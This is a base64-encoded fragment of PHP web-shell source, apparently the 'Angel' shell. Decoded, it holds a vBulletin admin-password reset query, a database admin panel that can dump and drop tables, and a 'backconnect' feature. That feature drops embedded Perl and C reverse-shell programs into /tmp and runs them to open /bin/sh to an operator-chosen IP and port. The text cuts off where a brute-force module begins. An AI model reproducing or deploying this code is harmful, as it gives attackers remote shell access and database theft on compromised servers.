OiA8Zm9udCBjb2xvcj1yZWQ+dmJhdGVhbTwvZm9udD48QlI+PGZvbnQgY29sb3I9eWVsbG93PlVQREFURSBgdXNlcmAgU0VUIGBwYXNzd29yZGAgPSBcJzY5ZTUzZTVhYjk1MzZlNTVkMzFmZjUzM2FlZmM0ZmJlXCcsIHNhbHQgPSBcJ3A1VFwnIFdIRVJFIGB1c2VyaWRgID0gXCcxXCcgPC9mb250Pg0KDQoJCQk8L3RkPjwvdHI+PHRyPjx0ZD48dGV4dGFyZWEgbmFtZT0ic3FsX3F1ZXJ5IiBjbGFzcz0iYXJlYSIgc3R5bGU9IndpZHRoOjYwMHB4O2hlaWdodDo1MHB4O292ZXJmbG93OmF1dG87Ij4nLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9xdWVyeSxFTlRfUVVPVEVTKS4nPC90ZXh0YXJlYT48L3RkPjx0ZCBzdHlsZT0icGFkZGluZzowIDVweDsiPjxpbnB1dCBjbGFzcz0iYnQiIHN0eWxlPSJoZWlnaHQ6NTBweDsiIG5hbWU9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iUXVlcnkiIC8+PC90ZD48L3RyPjwvdGFibGU+PC9wPicpOw0KCQkJbWFrZWhpZGUoJ3RhYmxlbmFtZScsICR0YWJsZW5hbWUpOw0KCQkJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7DQoJCQlwKCRkYmZvcm0pOw0KCQkJcCgnPC9mb3JtPicpOw0KCQkJaWYgKCR0YWJsZW5hbWUgfHwgKCRydW5xdWVyeSAmJiAkc3FsX3F1ZXJ5KSkgew0KCQkJCWlmICgkZG9pbmcgPT0gJ3N0cnVjdHVyZScpIHsNCgkJCQkJJHJlc3VsdCA9IHEoIlNIT1cgQ09MVU1OUyBGUk9NICR0YWJsZW5hbWUiKTsNCgkJCQkJJHJvd2RiID0gYXJyYXkoKTsNCgkJCQkJd2hpbGUoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7DQoJCQkJCQkkcm93ZGJbXSA9ICRyb3c7DQoJCQkJCX0NCgkJCQkJcCgnPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIwIj4nKTsNCgkJCQkJcCgnPHRyIGNsYXNzPSJoZWFkIj4nKTsNCgkJCQkJcCgnPHRkPkZpZWxkPC90ZD4nKTsNCgkJCQkJcCgnPHRkPlR5cGU8L3RkPicpOw0KCQkJCQlwKCc8dGQ+TnVsbDwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD5LZXk8L3RkPicpOw0KCQkJCQlwKCc8dGQ+RGVmYXVsdDwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD5FeHRyYTwvdGQ+Jyk7DQoJCQkJCXAoJzwvdHI+Jyk7DQoJCQkJCWZvcmVhY2ggKCRyb3dkYiBhcyAkcm93KSB7DQoJCQkJCQkkdGhpc2JnID0gYmcoKTsNCgkJCQkJCXAoJzx0ciBjbGFzcz0iZm91dCIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnZm91dFwnOyI+Jyk7DQoJCQkJCQlwKCc8dGQ+Jy4kcm93WydGaWVsZCddLic8L3RkPicpOw0KCQkJCQkJcCgnPHRkPicuJHJvd1snVHlwZSddLic8L3RkPicpOw0KCQkJCQkJcCgnPHRkPicuJHJvd1snTnVsbCddLicmbmJzcDs8L3RkPicpOw0KCQkJCQkJcCgnPHRkPicuJHJvd1snS2V5J10uJyZuYnNwOzwvdGQ+Jyk7DQoJCQkJCQlwKCc8dGQ+Jy4kcm93WydEZWZhdWx0J10uJyZuYnNwOzwvdGQ+Jyk7DQoJCQkJCQlwKCc8dGQ+Jy4kcm93WydFeHRyYSddLicmbmJzcDs8L3RkPicpOw0KCQkJCQkJcCgnPC90cj4nKTsNCgkJCQkJfQ0KCQkJCQl0YmZvb3QoKTsNCgkJCQl9IGVsc2VpZiAoJGRvaW5nID09ICdpbnNlcnQnIHx8ICRkb2luZyA9PSAnZWRpdCcpIHsNCgkJCQkJJHJlc3VsdCA9IHEoJ1NIT1cgQ09MVU1OUyBGUk9NICcuJHRhYmxlbmFtZSk7DQoJCQkJCXdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsNCgkJCQkJCSRyb3dkYltdID0gJHJvdzsNCgkJCQkJfQ0KCQkJCQkkcnMgPSBhcnJheSgpOw0KCQkJCQlpZiAoJGRvaW5nID09ICdpbnNlcnQnKSB7DQoJCQkJCQlwKCc8aDI+SW5zZXJ0IG5ldyBsaW5lIGluICcuJHRhYmxlbmFtZS4nIHRhYmxlICZyYXF1bzs8L2gyPicpOw0KCQkJCQl9IGVsc2Ugew0KCQkJCQkJcCgnPGgyPlVwZGF0ZSByZWNvcmQgaW4gJy4kdGFibGVuYW1lLicgdGFibGUgJnJhcXVvOzwvaDI+Jyk7DQoJCQkJCQkkd2hlcmUgPSBiYXNlNjRfZGVjb2RlKCRiYXNlNjQpOw0KCQkJCQkJJHJlc3VsdCA9IHEoIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSBXSEVSRSAkd2hlcmUgTElNSVQgMSIpOw0KCQkJCQkJJHJzID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCk7DQoJCQkJCX0NCgkJCQkJcCgnPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IicuJHNlbGYuJyI+Jyk7DQoJCQkJCXAoJGRiZm9ybSk7DQoJCQkJCW1ha2VoaWRlKCdhY3Rpb24nLCdzcWxhZG1pbicpOw0KCQkJCQltYWtlaGlkZSgndGFibGVuYW1lJywkdGFibGVuYW1lKTsNCgkJCQkJcCgnPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIwIj4nKTsNCgkJCQkJZm9yZWFjaCAoJHJvd2RiIGFzICRyb3cpIHsNCgkJCQkJCWlmICgkcnNbJHJvd1snRmllbGQnXV0pIHsNCgkJCQkJCQkkdmFsdWUgPSBodG1sc3BlY2lhbGNoYXJzKCRyc1skcm93WydGaWVsZCddXSk7DQoJCQkJCQl9IGVsc2Ugew0KCQkJCQkJCSR2YWx1ZSA9ICcnOw0KCQkJCQkJfQ0KCQkJCQkJJHRoaXNiZyA9IGJnKCk7DQoJCQkJCQlwKCc8dHIgY2xhc3M9ImZvdXQiIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvdXRcJzsiPicpOw0KCQkJCQkJcCgnPHRkPjxiPicuJHJvd1snRmllbGQnXS4nPC9iPjxiciAvPicuJHJvd1snVHlwZSddLic8L3RkPjx0ZD48dGV4dGFyZWEgY2xhc3M9ImFyZWEiIG5hbWU9Imluc2VydHNxbFsnLiRyb3dbJ0ZpZWxkJ10uJ10iIHN0eWxlPSJ3aWR0aDo1MDBweDtoZWlnaHQ6NjBweDtvdmVyZmxvdzphdXRvOyI+Jy4kdmFsdWUuJzwvdGV4dGFyZWE+PC90ZD48L3RyPicpOw0KCQkJCQl9DQoJCQkJCWlmICgkZG9pbmcgPT0gJ2luc2VydCcpIHsNCgkJCQkJCXAoJzx0ciBjbGFzcz0iZm91dCI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCBjbGFzcz0iYnQiIHR5cGU9InN1Ym1pdCIgbmFtZT0iaW5zZXJ0IiB2YWx1ZT0iSW5zZXJ0IiAvPjwvdGQ+PC90cj4nKTsNCgkJCQkJfSBlbHNlIHsNCgkJCQkJCXAoJzx0ciBjbGFzcz0iZm91dCI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCBjbGFzcz0iYnQiIHR5cGU9InN1Ym1pdCIgbmFtZT0idXBkYXRlIiB2YWx1ZT0iVXBkYXRlIiAvPjwvdGQ+PC90cj4nKTsNCgkJCQkJCW1ha2VoaWRlKCdiYXNlNjQnLCAkYmFzZTY0KTsNCgkJCQkJfQ0KCQkJCQlwKCc8L3RhYmxlPjwvZm9ybT4nKTsNCgkJCQl9IGVsc2Ugew0KCQkJCQkkcXVlcnlzID0gQGV4cGxvZGUoJzsnLCRzcWxfcXVlcnkpOw0KCQkJCQlmb3JlYWNoKCRxdWVyeXMgYXMgJG51bT0+JHF1ZXJ5KSB7DQoJCQkJCQlpZiAoJHF1ZXJ5KSB7DQoJCQkJCQkJcCgiPHA+PGI+UXVlcnkjeyRudW19IDogIi5odG1sc3BlY2lhbGNoYXJzKCRxdWVyeSxFTlRfUVVPVEVTKS4iPC9iPjwvcD4iKTsNCgkJCQkJCQlzd2l0Y2gocXkoJHF1ZXJ5KSkNCgkJCQkJCQl7DQoJCQkJCQkJCWNhc2UgMDoNCgkJCQkJCQkJCXAoJzxoMj5FcnJvciA6ICcubXlzcWxfZXJyb3IoKS4nPC9oMj4nKTsNCgkJCQkJCQkJCWJyZWFrOw0KCQkJCQkJCQljYXNlIDE6DQoJCQkJCQkJCQlpZiAoc3RydG9sb3dlcihzdWJzdHIoJHF1ZXJ5LDAsMTMpKSA9PSAnc2VsZWN0ICogZnJvbScpIHsNCgkJCQkJCQkJCQkkYWxsb3dlZGl0ID0gMTsNCgkJCQkJCQkJCX0NCgkJCQkJCQkJCWlmICgkZ2V0bnVtc3FsKSB7DQoJCQkJCQkJCQkJJHRhdG9sID0gbXlzcWxfbnVtX3Jvd3MocSgkZ2V0bnVtc3FsKSk7DQoJCQkJCQkJCQkJJG11bHRpcGFnZSA9IG11bHRpKCR0YXRvbCwgJHBhZ2VudW0sICRwYWdlLCAkdGFibGVuYW1lKTsNCgkJCQkJCQkJCX0NCgkJCQkJCQkJCWlmICghJHRhYmxlbmFtZSkgew0KCQkJCQkJCQkJCSRzcWxfbGluZSA9IHN0cl9yZXBsYWNlKGFycmF5KCJcciIsICJcbiIsICJcdCIpLCBhcnJheSgnICcsICcgJywgJyAnKSwgdHJpbShodG1sc3BlY2lhbGNoYXJzKCRxdWVyeSkpKTsNCgkJCQkJCQkJCQkkc3FsX2xpbmUgPSBwcmVnX3JlcGxhY2UoIi9cL1wqW14oXCpcLyldKlwqXC8vaSIsICIgIiwgJHNxbF9saW5lKTsNCgkJCQkJCQkJCQlwcmVnX21hdGNoX2FsbCgiL2Zyb21ccytgezAsMX0oW1x3XSspYHswLDF9XHMrL2kiLCRzcWxfbGluZSwkbWF0Y2hlcyk7DQoJCQkJCQkJCQkJJHRhYmxlbmFtZSA9ICRtYXRjaGVzWzFdWzBdOw0KCQkJCQkJCQkJfQ0KCQkJCQkJCQkJJHJlc3VsdCA9IHEoJHF1ZXJ5KTsNCgkJCQkJCQkJCXAoJG11bHRpcGFnZSk7DQoJCQkJCQkJCQlwKCc8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiPicpOw0KCQkJCQkJCQkJcCgnPHRyIGNsYXNzPSJoZWFkIj4nKTsNCgkJCQkJCQkJCWlmICgkYWxsb3dlZGl0KSBwKCc8dGQ+QWN0aW9uPC90ZD4nKTsNCgkJCQkJCQkJCSRmaWVsZG51bSA9IEBteXNxbF9udW1fZmllbGRzKCRyZXN1bHQpOw0KCQkJCQkJCQkJZm9yKCRpPTA7JGk8JGZpZWxkbnVtOyRpKyspew0KCQkJCQkJCQkJCSRuYW1lID0gQG15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwgJGkpOw0KCQkJCQkJCQkJCSR0eXBlID0gQG15c3FsX2ZpZWxkX3R5cGUoJHJlc3VsdCwgJGkpOw0KCQkJCQkJCQkJCSRsZW4gPSBAbXlzcWxfZmllbGRfbGVuKCRyZXN1bHQsICRpKTsNCgkJCQkJCQkJCQlwKCI8dGQgbm93cmFwPiRuYW1lPGJyPjxzcGFuPiR0eXBlKCRsZW4pPC9zcGFuPjwvdGQ+Iik7DQoJCQkJCQkJCQl9DQoJCQkJCQkJCQlwKCc8L3RyPicpOw0KCQkJCQkJCQkJd2hpbGUoJG1uID0gQG15c3FsX2ZldGNoX2Fzc29jKCRyZXN1bHQpKXsNCgkJCQkJCQkJCQkkdGhpc2JnID0gYmcoKTsNCgkJCQkJCQkJCQlwKCc8dHIgY2xhc3M9ImZvdXQiIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvdXRcJzsiPicpOw0KCQkJCQkJCQkJCSR3aGVyZSA9ICR0bXAgPSAkYjEgPSAnJzsNCgkJCQkJCQkJCQlmb3JlYWNoKCRtbiBhcyAka2V5PT4kaW5zaWRlKXsNCgkJCQkJCQkJCQkJaWYgKCRpbnNpZGUpIHsNCgkJCQkJCQkJCQkJCSR3aGVyZSAuPSAkdG1wLiRrZXkuIj0nIi5hZGRzbGFzaGVzKCRpbnNpZGUpLiInIjsNCgkJCQkJCQkJCQkJCSR0bXAgPSAnIEFORCAnOw0KCQkJCQkJCQkJCQl9DQoJCQkJCQkJCQkJCSRiMSAuPSAnPHRkIG5vd3JhcD4nLmh0bWxfY2xlYW4oJGluc2lkZSkuJyZuYnNwOzwvdGQ+JzsNCgkJCQkJCQkJCQl9DQoJCQkJCQkJCQkJJHdoZXJlID0gYmFzZTY0X2VuY29kZSgkd2hlcmUpOw0KCQkJCQkJCQkJCWlmICgkYWxsb3dlZGl0KSBwKCc8dGQgbm93cmFwPjxhIGhyZWY9ImphdmFzY3JpcHQ6ZWRpdHJlY29yZChcJ2VkaXRcJywgXCcnLiR3aGVyZS4nXCcsIFwnJy4kdGFibGVuYW1lLidcJyk7Ij5FZGl0PC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6ZWRpdHJlY29yZChcJ2RlbFwnLCBcJycuJHdoZXJlLidcJywgXCcnLiR0YWJsZW5hbWUuJ1wnKTsiPkRlbDwvYT48L3RkPicpOw0KCQkJCQkJCQkJCXAoJGIxKTsNCgkJCQkJCQkJCQlwKCc8L3RyPicpOw0KCQkJCQkJCQkJCXVuc2V0KCRiMSk7DQoJCQkJCQkJCQl9DQoJCQkJCQkJCQl0YmZvb3QoKTsNCgkJCQkJCQkJCXAoJG11bHRpcGFnZSk7DQoJCQkJCQkJCQlicmVhazsNCgkJCQkJCQkJY2FzZSAyOg0KCQkJCQkJCQkJJGFyID0gbXlzcWxfYWZmZWN0ZWRfcm93cygpOw0KCQkJCQkJCQkJcCgnPGgyPmFmZmVjdGVkIHJvd3MgOiA8Yj4nLiRhci4nPC9iPjwvaDI+Jyk7DQoJCQkJCQkJCQlicmVhazsNCgkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJCQl9IGVsc2Ugew0KCQkJCSRxdWVyeSA9IHEoIlNIT1cgVEFCTEUgU1RBVFVTIik7DQoJCQkJJHRhYmxlX251bSA9ICR0YWJsZV9yb3dzID0gJGRhdGFfc2l6ZSA9IDA7DQoJCQkJJHRhYmxlZGIgPSBhcnJheSgpOw0KCQkJCXdoaWxlKCR0YWJsZSA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsNCgkJCQkJJGRhdGFfc2l6ZSA9ICRkYXRhX3NpemUgKyAkdGFibGVbJ0RhdGFfbGVuZ3RoJ107DQoJCQkJCSR0YWJsZV9yb3dzID0gJHRhYmxlX3Jvd3MgKyAkdGFibGVbJ1Jvd3MnXTsNCgkJCQkJJHRhYmxlWydEYXRhX2xlbmd0aCddID0gc2l6ZWNvdW50KCR0YWJsZVsnRGF0YV9sZW5ndGgnXSk7DQoJCQkJCSR0YWJsZV9udW0rKzsNCgkJCQkJJHRhYmxlZGJbXSA9ICR0YWJsZTsNCgkJCQl9DQoJCQkJJGRhdGFfc2l6ZSA9IHNpemVjb3VudCgkZGF0YV9zaXplKTsNCgkJCQl1bnNldCgkdGFibGUpOw0KCQkJCXAoJzx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+Jyk7DQoJCQkJcCgnPGZvcm0gYWN0aW9uPSInLiRzZWxmLiciIG1ldGhvZD0iUE9TVCI+Jyk7DQoJCQkJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7DQoJCQkJcCgkZGJmb3JtKTsNCgkJCQlwKCc8dHIgY2xhc3M9ImhlYWQiPicpOw0KCQkJCXAoJzx0ZCB3aWR0aD0iMiUiIGFsaWduPSJjZW50ZXIiPjxpbnB1dCBuYW1lPSJjaGthbGwiIHZhbHVlPSJvbiIgdHlwZT0iY2hlY2tib3giIG9uY2xpY2s9IkNoZWNrQWxsKHRoaXMuZm9ybSkiIC8+PC90ZD4nKTsNCgkJCQlwKCc8dGQ+TmFtZTwvdGQ+Jyk7DQoJCQkJcCgnPHRkPlJvd3M8L3RkPicpOw0KCQkJCXAoJzx0ZD5EYXRhX2xlbmd0aDwvdGQ+Jyk7DQoJCQkJcCgnPHRkPkNyZWF0ZV90aW1lPC90ZD4nKTsNCgkJCQlwKCc8dGQ+VXBkYXRlX3RpbWU8L3RkPicpOw0KCQkJCWlmICgkaGlnaHZlcikgew0KCQkJCQlwKCc8dGQ+RW5naW5lPC90ZD4nKTsNCgkJCQkJcCgnPHRkPkNvbGxhdGlvbjwvdGQ+Jyk7DQoJCQkJfQ0KCQkJCXAoJzwvdHI+Jyk7DQoJCQkJZm9yZWFjaCAoJHRhYmxlZGIgYXMgJGtleSA9PiAkdGFibGUpIHsNCgkJCQkJJHRoaXNiZyA9IGJnKCk7DQoJCQkJCXAoJzx0ciBjbGFzcz0iZm91dCIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnZm91dFwnOyI+Jyk7DQoJCQkJCXAoJzx0ZCBhbGlnbj0iY2VudGVyIiB3aWR0aD0iMiUiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0idGFibGVbXSIgdmFsdWU9IicuJHRhYmxlWydOYW1lJ10uJyIgLz48L3RkPicpOw0KCQkJCQlwKCc8dGQ+PGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlWydOYW1lJ10uJ1wnKTsiPicuJHRhYmxlWydOYW1lJ10uJzwvYT4gWyA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVbJ05hbWUnXS4nXCcsIFwnaW5zZXJ0XCcpOyI+SW5zZXJ0PC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZVsnTmFtZSddLidcJywgXCdzdHJ1Y3R1cmVcJyk7Ij5TdHJ1Y3R1cmU8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlWydOYW1lJ10uJ1wnLCBcJ2Ryb3BcJyk7Ij5Ecm9wPC9hPiBdPC90ZD4nKTsNCgkJCQkJcCgnPHRkPicuJHRhYmxlWydSb3dzJ10uJzwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnRGF0YV9sZW5ndGgnXS4nPC90ZD4nKTsNCgkJCQkJcCgnPHRkPicuJHRhYmxlWydDcmVhdGVfdGltZSddLic8L3RkPicpOw0KCQkJCQlwKCc8dGQ+Jy4kdGFibGVbJ1VwZGF0ZV90aW1lJ10uJzwvdGQ+Jyk7DQoJCQkJCWlmICgkaGlnaHZlcikgew0KCQkJCQkJcCgnPHRkPicuJHRhYmxlWydFbmdpbmUnXS4nPC90ZD4nKTsNCgkJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnQ29sbGF0aW9uJ10uJzwvdGQ+Jyk7DQoJCQkJCX0NCgkJCQkJcCgnPC90cj4nKTsNCgkJCQl9DQoJCQkJcCgnPHRyIGNsYXNzPWZvdXQ+Jyk7DQoJCQkJcCgnPHRkPiZuYnNwOzwvdGQ+Jyk7DQoJCQkJcCgnPHRkPlRvdGFsIHRhYmxlczogJy4kdGFibGVfbnVtLic8L3RkPicpOw0KCQkJCXAoJzx0ZD4nLiR0YWJsZV9yb3dzLic8L3RkPicpOw0KCQkJCXAoJzx0ZD4nLiRkYXRhX3NpemUuJzwvdGQ+Jyk7DQoJCQkJcCgnPHRkIGNvbHNwYW49IicuKCRoaWdodmVyID8gNCA6IDIpLiciPiZuYnNwOzwvdGQ+Jyk7DQoJCQkJcCgnPC90cj4nKTsNCg0KCQkJCXAoIjx0ciBjbGFzcz1cImZvdXRcIj48dGQgY29sc3Bhbj1cIiIuKCRoaWdodmVyID8gOCA6IDYpLiJcIj48aW5wdXQgbmFtZT1cInNhdmVhc2ZpbGVcIiB2YWx1ZT1cIjFcIiB0eXBlPVwiY2hlY2tib3hcIiAvPiBTYXZlIGFzIGZpbGUgPGlucHV0IGNsYXNzPVwiaW5wdXRcIiBuYW1lPVwicGF0aFwiIHZhbHVlPVwiIi5TQV9ST09ULiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iX015U1FMLnNxbFwiIHR5cGU9XCJ0ZXh0XCIgc2l6ZT1cIjYwXCIgLz4gPGlucHV0IGNsYXNzPVwiYnRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cImRvd25yYXJcIiB2YWx1ZT1cIkV4cG9ydCBzZWxlY3Rpb24gdGFibGVcIiAvPjwvdGQ+PC90cj4iKTsNCgkJCQltYWtlaGlkZSgnZG9pbmcnLCdiYWNrdXBteXNxbCcpOw0KCQkJCWZvcm1mb290KCk7DQoJCQkJcCgiPC90YWJsZT4iKTsNCgkJCQlmcigkcXVlcnkpOw0KCQkJfQ0KCQl9DQoJfQ0KCXRiZm9vdCgpOw0KCUBteXNxbF9jbG9zZSgpOw0KfS8vZW5kIHNxbCBiYWNrdXANCg0KDQplbHNlaWYgKCRhY3Rpb24gPT0gJ2JhY2tjb25uZWN0Jykgew0KCSEkeW91cmlwICYmICR5b3VyaXAgPSAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsNCgkhJHlvdXJwb3J0ICYmICR5b3VycG9ydCA9ICcxMjM0NSc7DQoJJHVzZWRiID0gYXJyYXkoJ3BlcmwnPT4ncGVybCcsJ2MnPT4nYycpOw0KDQoJJGJhY2tfY29ubmVjdD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pHTnRaRDBnSW14NWJuZ2lPdzBLSkhONWMzUmxiVDBnSjJWamFHOGdJbUIxYm1GdFpTQXRZV0FpTzJWaiIuDQoJCSJhRzhnSW1CcFpHQWlPeTlpYVc0dmMyZ25PdzBLSkRBOUpHTnRaRHNOQ2lSMFlYSm5aWFE5SkVGU1IxWmJNRjA3RFFva2NHOXlkRDBrUVZKSFZsc3hYVHNOQ2lScFlXUmtjajFwYm1WMFgyRjBiMjRvSkhSIi4NCgkJImhjbWRsZENrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NSd2IzSjBMQ0FrYVdGa1pISXBJSHg4SUdScFpTZ2lSWEp5YjNJNklDUWhYRzRpS1QiLg0KCQkic05DaVJ3Y205MGJ6MW5aWFJ3Y205MGIySjVibUZ0WlNnbmRHTndKeWs3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1NCOGZDQmthV1VvSSIuDQoJCSJrVnljbTl5T2lBa0lWeHVJaWs3RFFwamIyNXVaV04wS0ZOUFEwdEZWQ3dnSkhCaFpHUnlLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpIi4NCgkJIktUc05DbTl3Wlc0b1UxUkVUMVZVTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVSVkpTTENBaVBpWlRUME5MUlZRaUtUc05Dbk41YzNSbGJTZ2tjM2x6ZEdWdEtUc05DbU5zYjNObEtGTlVSRWwiLg0KCQkiT0tUc05DbU5zYjNObEtGTlVSRTlWVkNrN0RRcGpiRzl6WlNoVFZFUkZVbElwT3c9PSI7DQoJJGJhY2tfY29ubmVjdF9jPSJJMmx1WTJ4MVpHVWdQSE4wWkdsdkxtZytEUW9qYVc1amJIVmtaU0E4YzNsekwzTnZZMnRsZEM1b1BnMEtJMmx1WTJ4MVpHVWdQRzVsZEdsdVpYUXZhVzR1YUQ0TkNtbHVkQyIuDQoJCSJCdFlXbHVLR2x1ZENCaGNtZGpMQ0JqYUdGeUlDcGhjbWQyVzEwcERRcDdEUW9nYVc1MElHWmtPdzBLSUhOMGNuVmpkQ0J6YjJOcllXUmtjbDlwYmlCemFXNDdEUW9nWTJoaGNpQnliWE5iTWpGZFBTSnliIi4NCgkJIlNBdFppQWlPeUFOQ2lCa1lXVnRiMjRvTVN3d0tUc05DaUJ6YVc0dWMybHVYMlpoYldsc2VTQTlJRUZHWDBsT1JWUTdEUW9nYzJsdUxuTnBibDl3YjNKMElEMGdhSFJ2Ym5Nb1lYUnZhU2hoY21kMld6SmQiLg0KCQkiS1NrN0RRb2djMmx1TG5OcGJsOWhaR1J5TG5OZllXUmtjaUE5SUdsdVpYUmZZV1JrY2loaGNtZDJXekZkS1RzZ0RRb2dZbnBsY204b1lYSm5kbHN4WFN4emRISnNaVzRvWVhKbmRsc3hYU2tyTVN0emRISiIuDQoJCSJzWlc0b1lYSm5kbHN5WFNrcE95QU5DaUJtWkNBOUlITnZZMnRsZENoQlJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dTVkJRVWs5VVQxOVVRMUFwSURzZ0RRb2dhV1lnS0NoamIyNXVaV04wS0daa0xDIi4NCgkJIkFvYzNSeWRXTjBJSE52WTJ0aFpHUnlJQ29wSUNaemFXNHNJSE5wZW1WdlppaHpkSEoxWTNRZ2MyOWphMkZrWkhJcEtTazhNQ2tnZXcwS0lDQWdjR1Z5Y205eUtDSmJMVjBnWTI5dWJtVmpkQ2dwSWlrN0QiLg0KCQkiUW9nSUNCbGVHbDBLREFwT3cwS0lIME5DaUJ6ZEhKallYUW9jbTF6TENCaGNtZDJXekJkS1RzTkNpQnplWE4wWlcwb2NtMXpLVHNnSUEwS0lHUjFjRElvWm1Rc0lEQXBPdzBLSUdSMWNESW9abVFzSURFcCIuDQoJCSJPdzBLSUdSMWNESW9abVFzSURJcE93MEtJR1Y0WldOc0tDSXZZbWx1TDNOb0lpd2ljMmdnTFdraUxDQk9WVXhNS1RzTkNpQmpiRzl6WlNobVpDazdJQTBLZlE9PSI7DQoNCglpZiAoJHN0YXJ0ICYmICR5b3VyaXAgJiYgJHlvdXJwb3J0ICYmICR1c2Upew0KCQlpZiAoJHVzZSA9PSAncGVybCcpIHsNCgkJCWNmKCcvdG1wL2FuZ2VsX2JjJywkYmFja19jb25uZWN0KTsNCgkJCSRyZXMgPSBleGVjdXRlKHdoaWNoKCdwZXJsJykuIiAvdG1wL2FuZ2VsX2JjICR5b3VyaXAgJHlvdXJwb3J0ICYiKTsNCgkJfSBlbHNlIHsNCgkJCWNmKCcvdG1wL2FuZ2VsX2JjLmMnLCRiYWNrX2Nvbm5lY3RfYyk7DQoJCQkkcmVzID0gZXhlY3V0ZSgnZ2NjIC1vIC90bXAvYW5nZWxfYmMgL3RtcC9hbmdlbF9iYy5jJyk7DQoJCQlAdW5saW5rKCcvdG1wL2FuZ2VsX2JjLmMnKTsNCgkJCSRyZXMgPSBleGVjdXRlKCIvdG1wL2FuZ2VsX2JjICR5b3VyaXAgJHlvdXJwb3J0ICYiKTsNCgkJfQ0KCQltKCJOb3cgc2NyaXB0IHRyeSBjb25uZWN0IHRvICR5b3VyaXAgcG9ydCAkeW91cnBvcnQgLi4uIik7DQoJfQ0KDQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0JhY2sgQ29ubmVjdCcpKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnYmFja2Nvbm5lY3QnKTsNCglwKCc8cD4nKTsNCglwKCdZb3VyIElQOicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pid5b3VyaXAnLCdzaXplJz0+MjAsJ3ZhbHVlJz0+JHlvdXJpcCkpOw0KCXAoJ1lvdXIgUG9ydDonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4neW91cnBvcnQnLCdzaXplJz0+MTUsJ3ZhbHVlJz0+JHlvdXJwb3J0KSk7DQoJcCgnVXNlOicpOw0KCW1ha2VzZWxlY3QoYXJyYXkoJ25hbWUnPT4ndXNlJywnb3B0aW9uJz0+JHVzZWRiLCdzZWxlY3RlZCc9PiR1c2UpKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nc3RhcnQnLCd2YWx1ZSc9PidTdGFydCcsJ3R5cGUnPT4nc3VibWl0JywnY2xhc3MnPT4nYnQnKSk7DQoJcCgnPC9wPicpOw0KCWZvcm1mb290KCk7DQp9Ly9lbmQgYmFja2Nvbm5lY3Qgd2luZG93IHZpYSBOQw0KDQovLyBCcnV0ZQ0KZWxzZWlmICgkYWN0aW9uID09ICdicnV0ZScpIHsNCmZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidCcnV0ZSBGb3